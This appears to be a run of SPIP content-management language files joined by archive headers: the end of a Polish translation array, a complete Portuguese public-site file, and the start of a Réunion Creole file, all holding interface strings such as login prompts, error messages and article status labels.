'info_acces_interdit' => 'Dostęp zabroniony',
'info_acces_refuse' => 'Brak dostępu',
'info_action' => 'Akcja: @action@',
'info_administrer_rubriques' => 'Możesz zarządzać tą działami i jej poddziałami',
'info_adresse_non_indiquee' => 'Nie podałeś adresu testowego!',
'info_aide' => 'POMOC:',
'info_ajouter_mot' => 'Dodaj to słowo kluczowe',
'info_annonce' => 'ZAWIADOMIENIE',
'info_annonces_generales' => 'Ogólne ogłoszenia:',
'info_article_propose' => 'Zaproponowany artykuł',
'info_article_publie' => 'Artykuł opublikowany',
'info_article_redaction' => 'Artykuł w trakcie tworzenia',
'info_article_refuse' => 'Artykuł odrzucony',
'info_article_supprime' => 'Artykuł usunięty',
'info_articles' => 'Artykuły',
'info_articles_a_valider' => 'Artykuły do zatwierdzenia',
'info_articles_nb' => '@nb@ artykułów',
'info_articles_proposes' => 'Zaproponowane artykuły',
'info_articles_un' => '1 artykuł',
'info_auteurs_nombre' => 'autor(zy):',
'info_authentification_ftp' => 'Uwierzytelnienie (poprzez FTP).',
'info_breves_2' => 'newsy',
'info_breves_nb' => '@nb@ newsów',
'info_connexion_refusee' => 'Brak połączenia',
'info_contact_developpeur' => 'Proszę skontaktować się z deweloperem.',
'info_contenance' => 'Ta strona zawiera:',
'info_contribution' => 'wpisy na forum', # MODIF
'info_copyright' => '@spip@ - darmowe oprogramowanie dystrybuowane w oparciu o licencję @lien_gpl@.',
'info_copyright_doc' => 'Więcej informacji na stronie <a href="@spipnet@">http://www.spip.net</a>.', # MODIF
'info_copyright_gpl' => 'na licencji GPL',
'info_cours_edition' => 'Twoje artykuły w trakcie redagowania', # MODIF
'info_creer_repertoire' => 'Utwórz plik lub katalog o nazwie:',
'info_creer_repertoire_2' => 'w podkatalogu <b>@repertoire@</b>, a następnie:',
'info_creer_vignette' => 'generowanie miniaturki',
'info_deplier' => 'Rozwiń',
'info_descriptif_nombre' => 'opis(y):',
'info_description' => 'Opis:',
'info_description_2' => 'Opis:',
'info_dimension' => 'Rozmiar:',
'info_ecire_message_prive' => 'Napisz prywatną wiadomość',
'info_email_invalide' => 'Nieprawidłowy adres e-mail.',
'info_en_cours_validation' => 'Twoje artykuły są w trakcie redagowania',
'info_en_ligne' => 'Teraz online:',
'info_envoyer_message_prive' => 'Wyślij prywatną wiadomość do tego autora',
'info_erreur_requete' => 'Błąd zapytania :',
'info_erreur_squelette2' => 'Żaden szkielet <b>@fichier@</b> nie jest dostępny ...',
'info_erreur_systeme' => 'Błąd systemu (errno @errsys@)',
'info_erreur_systeme2' => 'Albo dysk twardy jest pełny albo uszkodzona jest baza danych.<br />
<span style="color:red;">Spróbuj <a href=\'@script@\'>naprawić bazę danych</a>, lub skontaktuj się z administratorem serwera.</span>',
'info_fini' => 'Zakończono!',
'info_format_image' => 'Formaty plików obrazków, które mogą być używane do tworzenia minitaturek : @gd_formats@.',
'info_format_non_defini' => 'format niezdefiniowany',
'info_grand_ecran' => 'Cały ekran',
'info_image_aide' => 'POMOC',
'info_image_process_titre' => 'Sposób generowania miniaturek',
'info_impossible_lire_page' => '<b>Błąd !</b> Nie można odczytać strony<tt><html>@test_proxy@</html></tt> za pośrednictwem proxy<tt>',
'info_installation_systeme_publication' => 'Instalacja systemu publikacji...',
'info_installer_documents' => 'Możesz automatycznie dodawać wszystkie dokumenty znajdujące się w folderze @upload@.',
'info_installer_ftp' => 'Jako administrator możesz umieszczać (przez FTP) pliki w folderze @upload@, aby później wybierać je bezpośrednio stąd.',
'info_installer_images' => 'Możesz umieszczać obrazki w formatach JPEG, GIF i PNG.',
'info_installer_images_dossier' => 'Umieść obrazki w folderze @upload@ aby móc je stąd wybierać.',
'info_interface_complete' => 'cały interfejs',
'info_interface_simple' => 'Uproszczony interfejs',
'info_joindre_document_article' => 'Do tego artykułu możesz załączać dokumenty typu',
'info_joindre_document_rubrique' => 'Do tego działu możesz dodawać dokumenty typu',
'info_joindre_documents_article' => 'Do swojego atykułu możesz załączać dokumenty typu:',
'info_l_article' => 'artykuł',
'info_la_breve' => 'news',
'info_la_rubrique' => 'dział',
'info_langue_principale' => 'Język głównej strony',
'info_largeur_vignette' => '@largeur_vignette@ x @hauteur_vignette@ pikseli',
'info_les_auteurs_1' => 'wg @les_auteurs@',
'info_logo_format_interdit' => 'Dla logo dozwolone są następujące formaty: @formats@.',
'info_logo_max_poids' => 'Logo może mieć maksymalnie @maxi@ (teraz ma @actuel@).',
'info_mail_fournisseur' => 'you@isp.com',
'info_message_2' => 'WIADOMOŚĆ',
'info_message_supprime' => 'WIADOMOŚĆ USUNIĘTA',
'info_mise_en_ligne' => 'Data publikacji online:',
'info_modification_parametres_securite' => 'modyfikacja parametrów bezpieczeństwa',
'info_mois_courant' => 'Bieżący miesiąc:',
'info_mot_cle_ajoute' => 'Następujące słowo kluczowe dodane zostało do',
'info_multi_herit' => 'Język domyślny',
'info_multi_langues_soulignees' => '<u>Podkreślonie języka</u> świadczy o kompletnym przekładzie wszystkich tekstów interfejsu. Jeśli wybierzesz jeden z tych języków, elementy serwisu (daty, formularze) zostaną automatycznie przetłumaczone. W przypadku języków nie-podkreślonych, elementy te ukażą się w głównym języku serwisu.', # MODIF
'info_multilinguisme' => 'Wielojęzyczny',
'info_nom_non_utilisateurs_connectes' => 'Twoja nazwa nie pojawia się na liście podłączonych użytkowników.',
'info_nom_utilisateurs_connectes' => 'Twoje imię występuje na liście podłączonych użytkowników.',
'info_nombre_en_ligne' => 'Teraz online:',
'info_non_resultat' => 'Żadnych wyników dla "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Nie korzystasz z wewnętrznej komunikacji tego serwisu.',
'info_nouveau_message' => 'MASZ NOWĄ WIADOMOŚĆ',
'info_nouveaux_messages' => 'MASZ @total_messages@ NOWYCH WIADOMOŚCI',
'info_numero_abbreviation' => 'N° ',
'info_pense_bete' => 'NOTATKA',
'info_petit_ecran' => 'Małe okno',
'info_pixels' => 'piksele',
'info_plusieurs_mots_trouves' => 'Kilkanaście słów kluczowych zostało znalezionych dla "@cherche_mot@":',
'info_portfolio_automatique' => 'Automatyczne portfolio:',
'info_premier_resultat' => '[@debut_limit@ pierwsze wyniki z @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ pierwsze wyniki z @total@]',
'info_propose_1' => '[@nom_site_spip@] Zatwierdza: @titre@',
'info_propose_2' => 'Artykuły zatwierdzone
-----------------',
'info_propose_3' => 'Artykuł "@titre@" został zatwierdzony do publikacji.',
'info_propose_4' => 'Zostałeś zaproszony do przeglądu i wyrażenia swojej opinii',
'info_propose_5' => 'w forum, które jest przyporządkowane. Jest ono dostępne pod adresem :',
'info_publie_01' => 'Artykuł "@titre@" został zatwierdzony przez @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBLIKUJE: @titre@',
'info_publie_2' => 'Artykuł opublikowany
-----------------',
'info_rechercher' => 'Szukaj',
'info_rechercher_02' => 'Szukaj:',
'info_remplacer_vignette' => 'Zamień domyślną miniaturkę na wybrane przez ciebie logo :',
'info_sans_titre_2' => 'bez tytułu',
'info_selectionner_fichier' => 'Możesz wybrać plik z folderu @upload@',
'info_selectionner_fichier_2' => 'Wybierz plik:',
'info_supprimer_vignette' => 'usuń winietę',
'info_symbole_bleu' => 'Symbol <b>niebieski</b> oznacza <b>notatkę</b>: n.p. wiadomość do prywatnego użytku.',
'info_symbole_jaune' => 'Symbol <b>żółty</b> oznacza <b>zawiadomienie dla wszystkich redaktorów</b>: może być opublikowana przez wszystkich administratorów, i jest widoczna dla wszystkich redaktorów.',
'info_symbole_vert' => 'Symbol <b>zielony</b> oznacza <b>wiadomości wymieniane z innymi użytkownikami</b> strony.',
'info_telecharger_nouveau_logo' => 'Załaduj nowe logo:',
'info_telecharger_ordinateur' => 'Załaduj ze swojego komputera:',
'info_tous_resultats_enregistres' => '[wszystkie wyniki są zapisane]',
'info_tout_afficher' => 'Pokaż wszystko',
'info_travaux_texte' => 'Ten serwis nie jest jeszcze skonfigurowany. Zapraszamy później...',
'info_travaux_titre' => 'Strona w trakcie budowy',
'info_trop_resultat' => 'Zbyt dużo rezultatów "@cherche_mot@" ; spróbuj sprecyzować kryteria wyszukiwania.',
'info_utilisation_messagerie_interne' => 'Używasz wewnętrznej poczty w tym serwisie.',
'info_valider_lien' => 'zatwierdź ten link',
'info_verifier_image' => ', proszę się upewnić, czy obrazki zostały przesłane prawidłowo.',
'info_vignette_defaut' => 'Domyślna winieta',
'info_vignette_personnalisee' => 'Miniaturka spersonalizowana',
'info_visite' => 'odwiedziny:',
'info_vos_rendez_vous' => 'Twoje przyszłe spotkania',
'infos_vos_pense_bete' => 'Twoje notatki', # MODIF
// L
'lien_afficher_icones_seuls' => 'Pokazuj tylko ikonki',
'lien_afficher_texte_icones' => 'POkazuj ikonki i tekst',
'lien_afficher_texte_seul' => 'Pokazuj tylko tekst',
'lien_liberer' => 'uwolnij',
'lien_liberer_tous' => 'uwolnij artykuły', # MODIF
'lien_nouvea_pense_bete' => 'NOWA NOTATKA',
'lien_nouveau_message' => 'NOWA WIADOMOŚĆ',
'lien_nouvelle_annonce' => 'NOWE ZAWIADOMIENIE',
'lien_petitions' => 'OGŁOSZENIE',
'lien_popularite' => 'popularność: @popularite@%',
'lien_racine_site' => 'RDZEŃ STRONY',
'lien_reessayer' => 'spróbuj ponownie',
'lien_repondre_message' => 'Odpowiedz na tę wiadomość',
'lien_supprimer' => 'usuń',
'lien_tout_afficher' => 'Pokaż wszystko',
'lien_visite_site' => 'odwiedź stronę',
'lien_visites' => '@visites@ odwiedzin',
'lien_voir_auteur' => 'Sprawdź autora',
'ligne' => 'Linia',
'login' => 'Połączenie',
'login_acces_prive' => 'dostęp do obszaru prywatnego',
'login_autre_identifiant' => 'zaloguj używając innego loginu',
'login_cookie_accepte' => 'Zmień ustawienia Twojej przeglądarki, aby je akceptowała (przynajmniej dla tej strony).',
'login_cookie_oblige' => 'Aby móc zalogować się bezpiecznie do tej strony, musicie zaakceptować cookies.',
'login_deconnexion_ok' => 'Rozłączanie zakończono.',
'login_erreur_pass' => 'Błąd hasła.',
'login_espace_prive' => 'obszar prywatny',
'login_identifiant_inconnu' => 'Login « @login@ » nieznany.',
'login_login' => 'Login:',
'login_login2' => 'Login (identyfikator) :', # MODIF
'login_login_pass_incorrect' => '(Zły login lub hasło).',
'login_motpasseoublie' => 'zapomniałeś hasła?',
'login_non_securise' => 'Uwaga ten formularz nie jest bezpieczny.
Jeśli nie chcesz aby Twoje hasło zostało przechwycone w sieci
, włącz JavaScript w Twojej przeglądarce i',
'login_nouvelle_tentative' => 'Nowa próba',
'login_par_ici' => 'Jesteś zarejestrowany... tędy...',
'login_pass2' => 'Hasło:',
'login_preferez_refuser' => '<b>Jeśli wolisz nie korzystać z cookies</b>, jest inna (mniej bezpieczna) metoda do dyspozycji :',
'login_recharger' => 'przeładuj stronę',
'login_rester_identifie' => 'Pozostań zalogowany kilka dni',
'login_retour_public' => 'Powrót do strony publicznej',
'login_retour_site' => 'Powrót do strony publicznej',
'login_retoursitepublic' => 'Powrót do strony publicznej',
'login_sans_cookiie' => 'Identyfikacja bez cookie',
'login_sinscrire' => 'rejestracja',
'login_test_navigateur' => 'test przeglądarki/łącz ponownie',
'login_verifiez_navigateur' => '(Sprawdź czy Twoja przeglądarka nie zapamiętała hasła...)',
// M
'masquer_trad' => 'ukryj tlumaczenia',
'module_fichiers_langues' => 'Pliki językowe',
// N
'navigateur_pas_redirige' => 'Jeśli twoja przeglądarka cię nie przekierowała, kliknij tutaj, żeby kontynuować.',
'numero' => 'Numer',
// O
'occurence' => 'Wystąpienie',
'onglet_affacer_base' => 'Usuń bazę danych',
'onglet_auteur' => 'Autor',
'onglet_contenu_site' => 'Zawartość strony',
'onglet_evolution_visite_mod' => 'Ewolucja',
'onglet_fonctions_avances' => 'Funkcje zaawansowane',
'onglet_informations_personnelles' => 'Informacje osobiste',
'onglet_interactivite' => 'Interaktywność',
'onglet_messagerie' => 'Wiadomości',
'onglet_repartition_rubrique' => 'Rozłożenie działów',
'onglet_save_restaur_base' => 'Backup/zapisywanie bazy danych',
'onglet_vider_cache' => 'Opróżnij cache',
// P
'pass_choix_pass' => 'Proszę wybrać swoje nowe hasło:',
'pass_erreur' => 'Błąd',
'pass_erreur_acces_refuse' => '<b>Błąd:</b> nie masz już dostępu do tej strony.',
'pass_erreur_code_inconnu' => '<b>Błąd :</b> ten kod nie odpowiada, żadnemu z użytkowników, którzy mają dostęp do tej strony.',
'pass_erreur_non_enregistre' => '<b>Błąd :</b> adres <tt>@email_oubli@</tt> nie jest zarejestrowany na tej stronie.',
'pass_erreur_non_valide' => '<b>Błąd :</b> e-mail <tt>@email_oubli@</tt> nie jest prawidłowy!',
'pass_erreur_probleme_technique' => '<b>Bład :</b> e-mail nie mógł być wysłany z powodu problemów technicznych.',
'pass_espace_prive_bla' => 'Strefa prywatna tego serwisu jest dostęna
dla zapisanych użytkowników. Jako zarejestrowany użytkownik,
będziesz mógł czytać artykuły, które są w trakcie redagowania,
proponować artykuły i brać udział w dyskusjach na forum.',
'pass_forum_bla' => 'Chcesz wziąć udział w forum
zarezerwowanym dla zarejestrowanych użytkowników.',
'pass_indiquez_cidessous' => 'Wpisz poniżej adres e-mail pod jakim
byłeś zarejestrowany poprzednio.
Otrzymasz e-maila wyjaśniającego jak
możesz odzyskać swój dostęp.',
'pass_mail_passcookie' => '(to jest automatyczna wiadomość)
Aby odzyskać dostęp do strony
@nom_site_spip@ (@adresse_site@)
Proszę wejść na stronę:
@sendcookie@
Po wpisaniu nowego hasła
można ponownie połączyć się ze stroną.
',
'pass_mot_oublie' => 'Zapomniane hasło',
'pass_nouveau_enregistre' => 'Twoje nowe hasło zostało zapisane.',
'pass_nouveau_pass' => 'Nowe hasło',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Zapomnienie hasła',
'pass_quitter_fenetre' => 'Zamknij okno',
'pass_rappel_login' => 'Przypomnienie : twój identyfikator (login) to « @login@ ».',
'pass_recevoir_mail' => 'Otrzymasz e-mail wyjaśniający jak możesz odzyskać dostęp do strony.',
'pass_retour_public' => 'Powrót do strony publicznej',
'pass_rien_a_faire_ici' => 'Nie ma tu nic do zrobienia.',
'pass_vousinscrire' => 'Zapisaś się w tym serwisie',
'precedent' => 'poprzedni',
'previsualisation' => 'Podgląd',
'previsualiser' => 'Włącz podgląd',
// R
'retour' => 'Powrót',
// S
'spip_conforme_dtd' => 'SPIP uznaje ten dokument za zgodny z jego DOCTYPE :',
'squelette' => 'szkielet',
'squelette_inclus_ligne' => 'szkielet zainkludowany, linia',
'squelette_ligne' => 'szkielet, linia',
'stats_visites_et_popularite' => '@visites@ odwiedzin; popularność: @popularite@',
'suivant' => 'następny',
// T
'taille_ko' => '@taille@ kb',
'taille_mo' => '@taille@ Mb',
'taille_octets' => '@taille@ bytes',
'texte_actualite_site_1' => 'Kiedy poznasz interfejs, kliknij na «',
'texte_actualite_site_2' => 'kompletny interfejs',
'texte_actualite_site_3' => '» aby uruchomić więcej możliwości.',
'texte_creation_automatique_vignette' => 'W tym serwisie, uruchomione jest generowanie minitaurek.Jeśli instalujecie za pośrednictwem tego formularza pliki graficzne w formatach @gd_formats@, zostaną one uzupełnione o minitaurkę, o miniaturkę w wielkości maksymalnej: @taille_preview@ pixels.',
'texte_documents_associes' => 'Następujące dokumenty są związane z artykułem,
ale nie zostały bezpośrednio do niego
dołączone. Zależnie od układu stron publicznych,
będę mogły pojawić się na nich jako załączniki.',
'texte_erreur_mise_niveau_base' => 'Błąd bazy danych zaistniały w trakcie uaktualniania.
Obrazek <b>@fichier@</b> nie przeszedł (artykuł @id_article@).
Zapisz te dane, i spróbuj ponownego uaktualnienia,
a następnie sprawdź czy obrazki pojawiają się zawsze w artykułach.',
'texte_erreur_visiteur' => 'Próbujesz dostać się do panelu administracyjnego za pomocą loginu, który na to nie pozwala.',
'texte_inc_auth_1' => 'Jesteś zalogowany za pomocą
loginu <b>@auth_login@</b>, ale nie istnieje on (już) w bazie danych.
Spróbuj się', # MODIF
'texte_inc_auth_2' => 'połączyć',
'texte_inc_auth_3' => ', opuszczjąc ewentualnie przeglądarkę
i włączając ją na powrót.',
'texte_inc_config' => 'Zmiany dokonane na tych stronach znacząco wpłyną na
funkcjonowanie Twojego serwisu. Radzimy nie zatwierdzać tych zmian do momentu, w którym nie będziecie
dobrze obeznani z funkcjonowaniem systemu SPIP. <br /><br /><b>Najbardziej
zalecamy, poproszenie o dokonanie zmian głównego adminsitratora serwisu.</b>',
'texte_inc_meta_1' => 'System nie może zapisać plików <code>@fichier@</code>. Jako administrator strony,',
'texte_inc_meta_2' => 'sprawdź pozwolenia zapisu',
'texte_inc_meta_3' => 'dla katalogu <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'redakcja w toku',
'texte_statut_poubelle' => 'do kosza',
'texte_statut_propose_evaluation' => 'zaproponowany do oceny',
'texte_statut_publie' => 'opublikowany online',
'texte_statut_refuse' => 'odrzucony',
'titre_ajouter_mot_cle' => 'DODAJ SŁOWO KLUCZOWE:',
'titre_cadre_raccourcis' => 'SKRÓTY :',
'titre_changer_couleur_interface' => 'Zmiana koloru interfejsu',
'titre_image_admin_article' => 'Możesz edytować ten artykuł',
'titre_image_administrateur' => 'Administrator',
'titre_image_aide' => 'Pomoc do tego elementu',
'titre_image_auteur_supprime' => 'Autor usunięty',
'titre_image_redacteur' => 'Redaktor bez dostępu',
'titre_image_redacteur_02' => 'Redaktor',
'titre_image_visiteur' => 'Odwiedzający',
'titre_joindre_document' => 'ZAŁĄCZ DOKUMENT',
'titre_mots_cles' => 'SŁOWA KLUCZOWE',
'titre_probleme_technique' => 'Uwaga: problem techniczny (serwer SQL) blokuje dostęp do tej części strony. Dziękujemy za zrozumienie.',
'titre_publier_document' => 'PUBLIKUJ DOKUMENT W TYM DZIALE',
'titre_statistiques' => 'Statystyki strony',
'titre_titre_document' => 'Tytuł dokumentu:',
'trad_reference' => '(artykuł wzorcowy)', # MODIF
// Z
'zbug_balise_b_aval' => ' : balise B en aval',
'zbug_balise_inexistante' => 'erreur @from@: la balise #@balise@ n’existe pas', # MODIF
'zbug_boucle' => 'pętla',
'zbug_boucle_recursive_undef' => 'pętla rekursywna nie została zdefiniowana', # MODIF
'zbug_champ_hors_boucle' => 'Pole @champ@ jest bez pętli',
'zbug_champ_hors_motif' => 'Pole @champ@ jest poza pętlą @motif@', # MODIF
'zbug_code' => 'kod',
'zbug_critere_inconnu' => 'nieznane kryterium @critere@', # MODIF
'zbug_distant_interdit' => 'operacja niedozwolona w zewnętrznej bazie', # MODIF
'zbug_doublon_table_sans_cle_primaire' => 'doublons sur une table sans clef primaire atomique', # MODIF
'zbug_doublon_table_sans_index' => 'podwójny wpis w tablicy bez indeksu', # MODIF
'zbug_erreur_boucle_double' => 'BOUCLE@id@: podwójna definicja', # MODIF
'zbug_erreur_boucle_fermant' => 'BOUCLE@id@: brakuje znacznika zamykającego', # MODIF
'zbug_erreur_boucle_syntaxe' => 'Składnia pętli (boucle) nieprawidłowa', # MODIF
'zbug_erreur_compilation' => 'Błąd kompilacji',
'zbug_erreur_execution_page' => 'błąd w wykonaniu strony', # MODIF
'zbug_erreur_filtre' => 'Błąd : filtr <b>« @filtre@ »</b> nie zdefiniowany', # MODIF
'zbug_erreur_meme_parent' => '{meme_parent} stosuje się wyłącznie do pętli (FORUMS) i (RUBRIQUES)', # MODIF
'zbug_erreur_squelette' => 'Błąd (błędy) w szkielecie',
'zbug_info_erreur_squelette' => 'Błąd na stronie',
'zbug_inversion_ordre_inexistant' => 'odwrócenie nieistniejącego uporządkowania', # MODIF
'zbug_pagination_sans_critere' => '#PAGINATION bez kryterium {pagination} lub użyta w pętli rekursywnej', # MODIF
'zbug_parametres_inclus_incorrects' => 'Złe parametry załączenia (include)', # MODIF
'zbug_profile' => 'Czas przeliczania: @time@',
'zbug_resultat' => 'wynik',
'zbug_serveur_indefini' => 'serwer SQL niezdefiniowany', # MODIF
'zbug_table_inconnue' => 'Tabela SQL « @table@ » nieznana',
'zxml_connus_attributs' => 'znane atrybuty',
'zxml_de' => 'z',
'zxml_inconnu_attribut' => 'atrybut nieznany',
'zxml_inconnu_balise' => 'znacznik nieznany',
'zxml_inconnu_entite' => 'nieznana wartość',
'zxml_inconnu_id' => 'ID nieznany',
'zxml_mais_de' => 'ale z',
'zxml_non_conforme' => 'nie jest zgodny',
'zxml_non_fils' => 'nie jest z',
'zxml_nonvide_balise' => 'znacznik nie jest pusty',
'zxml_obligatoire_attribut' => 'nieobecny atrybut obowiązkowy',
'zxml_succession_fils_incorrecte' => 'niepoprawne dziedziczenie',
'zxml_survoler' => 'najedź wskaźnikiem aby zobaczyć poprawne',
'zxml_valeur_attribut' => 'wartość artybutu',
'zxml_vide_balise' => 'pusty znacznik',
'zxml_vu' => 'widziany wcześniej'
);
?>
public_pt.php 0000666 00000007477 15252547432 0007272 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Página inicial do sítio',
'article' => 'Artigo',
'articles' => 'Artigos',
'articles_auteur' => 'Artigos deste autor',
'articles_populaires' => 'Artigos mais populares',
'articles_rubrique' => 'Artigos desta rubrica',
'aucun_article' => 'Nenhum artigo neste endereço',
'aucun_auteur' => 'Nenhum autor neste endereço',
'aucun_site' => 'Nenhum sítio neste endereço',
'aucune_breve' => 'Nenhuma notícia neste endereço',
'aucune_rubrique' => 'Nenhuma rubrica neste endereço',
'auteur' => 'Autor',
'autres' => 'Outros',
'autres_breves' => 'Outras notícias',
'autres_groupes_mots_clefs' => 'Outros grupos de palavras-chave',
'autres_sites' => 'Outros sítios',
// B
'bonjour' => 'Bom dia',
// C
'commenter_site' => 'Comentar este sítio',
'contact' => 'Contacto',
'copie_document_impossible' => 'Impossível copiar este documento',
// D
'date' => 'Data',
'dernier_ajout' => 'Última actualização',
'dernieres_breves' => 'Últimas notícias',
'derniers_articles' => 'Últimos artigos',
'derniers_commentaires' => 'Últimos comentários',
'derniers_messages_forum' => 'Últimas mensagens publicadas nos fóruns',
// E
'edition_mode_texte' => 'Edição apenas em modo de texto',
'en_reponse' => 'Em resposta a :',
'en_resume' => 'Em resumo',
'envoyer_message' => 'Enviar uma mensagem',
'espace_prive' => 'Área privada',
// F
'formats_acceptes' => 'Formatos válidos : @formats@.',
// H
'hierarchie_site' => 'Mapa do sítio',
// J
'jours' => 'dias',
// L
'lien_connecter' => 'Entrar',
// M
'meme_auteur' => 'Do mesmo autor',
'meme_rubrique' => 'Na mesma rubrica',
'memes_auteurs' => 'Dos mesmos autores',
'message' => 'Mensagem',
'messages_forum' => 'Mensagens de fórum',
'messages_recents' => 'Mensagens de fóruns mais recentes',
'mots_clef' => 'Palavra-chave',
'mots_clefs' => 'Palavras-chave',
'mots_clefs_meme_groupe' => 'Palavras-chave no mesmo grupo',
// N
'navigation' => 'Navegação',
'nom' => 'Nome',
'nouveautes' => 'As novidades',
'nouveautes_web' => 'Novidades na Web',
'nouveaux_articles' => 'Novos artigos',
'nouvelles_breves' => 'Novas notícias',
// P
'page_precedente' => 'página anterior',
'page_suivante' => 'página seguinte',
'par_auteur' => 'por',
'participer_site' => 'Pode participar na vida deste sítio e propor os seus próprios artigos, inscrevendo-se mais abaixo. Receberá imediatamente um email com os seus códigos de acesso ao espaço privado do sítio.',
'plan_site' => 'Mapa do sítio',
'popularite' => 'Popularidade',
'poster_message' => 'Enviar uma mensagem',
'proposer_site' => 'Você pode propor um sítio a adicionar a esta rubrica :',
// R
'repondre_article' => 'Comentar este artigo',
'repondre_breve' => 'Comentar esta notícia',
'resultats_recherche' => 'Resultados da pesquisa',
'retour_debut_forums' => 'Regresso ao início dos fóruns',
'rubrique' => 'Rubrica',
'rubriques' => 'Rubricas',
// S
'signatures_petition' => 'Assinaturas',
'site_realise_avec_spip' => 'Sítio realizado com SPIP',
'sites_web' => 'Sítios Web',
'sous_rubriques' => 'Sub-rubricas',
'spam' => 'Spam',
'suite' => 'continuação',
'sur_web' => 'Na Web',
'syndiquer_rubrique' => 'Subscrever esta rubrica',
'syndiquer_site' => 'Subscrever todo o sítio',
// T
'texte_lettre_information' => 'Eis a carta de informação do sítio',
'texte_lettre_information_2' => 'Este sítio contém novos itens publicados desde',
// V
'ver_imprimer' => 'Versão para imprimir',
'voir_en_ligne' => 'Ver online',
'voir_squelette' => 'exibir o modelo desta página'
);
?>
spip_cpf.php 0000666 00000101506 15252547432 0007100 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=cpf
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-cpf',
'0_langue' => 'Kréol rényoné [cpf]',
'0_liste' => 'spip-cpf@rezo.net',
'0_mainteneur' => 'pascale@rezo.net',
// A
'access_interface_graphique' => 'Artoun si lintèrfas grafik konplé',
'access_mode_texte' => 'Afis lintèrfas tèks sinp',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Sanz lartik-la',
'admin_modifier_auteur' => 'Sanz linformasyon lotèr',
'admin_modifier_breve' => 'Sanz tit-nouvèl-la',
'admin_modifier_mot' => 'Sanz molaklé-la',
'admin_modifier_rubrique' => 'Sanz rubrik-la',
'admin_recalculer' => 'Arkalkil pazwèb-la',
'afficher_trad' => 'Afich’ bann tradiksyon',
'alerte_maj_impossible' => '<b>Tansyon !</b> Larnouvèlman labazdodné SQL zizka lo vèrsyon @version@ lé pa posib, peut-être à cause d’un problème de droit de modification sur la base de données. Veuillez contacter votre hébergeur.', # MODIF
'alerte_modif_info_concourante' => 'ATTENTION : Cette information a été modifié par ailleurs. La valeur actuelle est :', # MODIF
'analyse_xml' => 'Analiz XML',
'annuler' => 'Anil’',
'antispam_champ_vide' => 'Lés karo-la vide :',
'articles_recents' => 'Bann zartik li lé nouvo',
'avis_archive_incorrect' => 'Lo fisyé arsiv lé pwinn inn fisyé SPIP',
'avis_archive_invalide' => 'Lo fisyé arsiv i giny pa marsé',
'avis_attention' => 'TANSYON PANGAR !',
'avis_champ_incorrect_type_objet' => 'Non d’karo-la lé fo @name@ pou inn sizé lo tip-la minm : @type@',
'avis_colonne_inexistante' => 'Nana pwinn kolonn-la : @col@ ',
'avis_erreur' => 'Kanard : gèt anba.',
'avis_erreur_connexion' => 'Astèr néna inn kanard èk lakostaz.
',
'avis_erreur_cookie' => 'Néna in larlik èk lo gatomakro (kouki)',
'avis_erreur_fonction_contexte' => 'Astèr néna inn kanard dann program-la. Fonksyon-la, ou dwa pa apèl ali dann kontèks-la.
', # MODIF
'avis_erreur_mysql' => 'Néna inn kanard SQL', # MODIF
'avis_erreur_sauvegarde' => 'Astèr néna inn kanard èk la sovgard (@type@ @id_objet@) !',
'avis_erreur_visiteur' => 'Kanard ék laksé privé',
// B
'barre_a_accent_grave' => 'Pou mèt in A èk son laksan grav an mazizkil',
'barre_aide' => 'Pou ansèrv bann rédiyon-limprimri andan laprézantasyon dout paz',
'barre_e_accent_aigu' => 'Pou mè in E èk son laksan égi an mazizkil',
'barre_eo' => 'Pou mèt in E andan O',
'barre_eo_maj' => 'Pou mèt in E andan O an mazizkil',
'barre_euro' => 'Mèt lo sinbol €',
'barre_gras' => 'Pou ékri {{an gro}}',
'barre_guillemets' => 'Pou mèt bann « giymé fransé »',
'barre_guillemets_simples' => 'Pou mè bann „giymé“',
'barre_intertitre' => 'Mèt sa-la kom in {{{lintèrtitr}}}',
'barre_italic' => 'Mèt sa-la an {litalik}',
'barre_lien' => 'Mèt sa-la kom in [gatir wèb->http://...]',
'barre_lien_input' => 'Mèrsi indil ladrès out gatir wèb (kom in ladrès http://www.monsite/com ou sinpman èk lo niméro in lartik sit-la minm.',
'barre_note' => 'Po sanzé an [[not anba lapaz]]',
'barre_paragraphe' => 'Kré in paragraf',
'barre_quote' => '<quote>Sit inn modékri</quote>',
'bouton_changer' => 'Sanz',
'bouton_chercher' => 'Rod',
'bouton_choisir' => 'Swazi',
'bouton_download' => 'Trapé', # MODIF
'bouton_enregistrer' => 'Anrozistré',
'bouton_radio_desactiver_messagerie_interne' => 'Dégrèn lakazmodékri',
'bouton_radio_envoi_annonces' => 'Anvwa bann zanons léditoryal. ',
'bouton_radio_non_envoi_annonces' => 'Anpès anvwayé bann zanons ',
'bouton_radio_non_envoi_liste_nouveautes' => 'Anpès anvwayé lalist bann nouvèlté',
'bouton_recharger_page' => 'rosarz lapazwèb-la ',
'bouton_telecharger' => 'Télésarz',
'bouton_upload' => 'Télésarz', # MODIF
'bouton_valider' => 'Konfirm',
// C
'cal_apresmidi' => 'aprémidi',
'cal_jour_entier' => 'jou konplé',
'cal_matin' => 'matin',
'cal_par_jour' => 'kalandrye pa jou',
'cal_par_mois' => 'kalandrye pa mwa',
'cal_par_semaine' => 'kalandrye pa semèn',
'choix_couleur_interface' => 'Koulèr',
'choix_interface' => 'soizi lintèrfas',
'colonne' => 'Kolonn',
'confirm_changer_statut' => 'Pangar, ou la domann po sanz lo statu zéléman-la. Lé byin sertin y vé sanz a li ?',
'correcte' => 'korèk',
// D
'date_aujourdhui' => 'zordi',
'date_avant_jc' => 'avan J.C.',
'date_dans' => 'dann @delai@',
'date_de_mois_1' => '@j@ @nommois@',
'date_de_mois_10' => '@j@ @nommois@',
